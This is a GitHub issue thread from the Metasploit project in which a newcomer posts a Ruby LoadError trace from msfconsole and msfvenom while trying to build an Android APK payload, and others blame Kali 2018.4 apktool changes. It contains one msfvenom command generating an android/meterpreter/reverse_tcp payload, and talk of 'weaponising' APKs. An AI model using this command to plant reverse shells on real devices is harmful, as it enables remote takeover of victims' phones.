Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

msfvenom error #11031

Closed
smchaitu opened this issue Nov 27, 2018 · 5 comments
Closed

msfvenom error #11031

smchaitu opened this issue Nov 27, 2018 · 5 comments
Labels
question Questions about Metasploit Usage

Comments

@smchaitu
Copy link

smchaitu commented Nov 27, 2018

##error with msfvenom while creating payload apk & msfconsole

1.i am runnung kali linux light live with cd

/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core.rb:14:in `require': cannot load such file -- backports (LoadError)
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core.rb:14:in `<top (required)>'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload/apk.rb:3:in `require'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload/apk.rb:3:in `<top (required)>'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload_generator.rb:2:in `require'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/lib/msf/core/payload_generator.rb:2:in `<top (required)>'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/msfconsole:48:in `require'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.12.20/msfconsole:48:in `<top (required)>'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/bin/msfconsole:23:in `load'
	from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/bin/msfconsole:23:in `<main>'

i need solution
it results same for both msfconsole & msfvenom -p android/meterpreter/reverse_tcp LHOST=my_ip LPORT=8080 R > app.apk

i am new to kali&metasploit

i need to genarate apk payload

@Green-m
Copy link
Contributor

Green-m commented Nov 29, 2018

Have you tried to update the metasploit?

@ssnkhan
Copy link

ssnkhan commented Dec 1, 2018

I suspect you have updated to Kali 2018.4 which broke msfvenom's implementation of apktool. I have raised this already, but it is unlikely that the issue will be resolved in the near future:

#11024
iBotPeaches/Apktool#1934

A ticket was already raised within the Kali Bug Tracker --
https://bugs.kali.org/view.php?id=5126, and the issue appears to originate due to upstream changes within Debian itself:

This is either a Debian bug, or it's a bug in apktool itself upstream - we (Kali) import the package as is from Debian without modifying it. I took a look and did not see any bugs in their bug tracker ( https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=apktool )

I'm able to reproduce the issue as well, I just grabbed the first apk I found called Diary on apkpure, and ran the same commands against it that you did and get the same result.

I did notice that Debian's bump to 2.3.4 removed a packaged jar file, but after attempting to roll back that patch, I had the same issue. I also tried older versions from Debian Sid (2.2.1) but was unable to get msfvenom to use it. I do believe this bug should be opened with Debian.

For now, the capability to weaponise APKs using msfvenom appears to be on hold.

@dsx12
Copy link

dsx12 commented Dec 30, 2018

Is there a alternative tool other than apktool to rebuild decompiled apks that successfully works?

@dsx12
Copy link

dsx12 commented Dec 30, 2018

Could I do this manually and recompile on windows with apktool? I attempted and received another error in windows lol..

@busterb
Copy link
Member

busterb commented Jun 10, 2019

I suggest you uninstall Metasploit Community/Pro and switch to the one built into Kali linux first. Also, your msfvenom syntax is wrong.

@busterb busterb closed this as completed Jun 10, 2019
@busterb busterb added the question Questions about Metasploit Usage label Jun 10, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Questions about Metasploit Usage
Projects
None yet
Development

No branches or pull requests

5 participants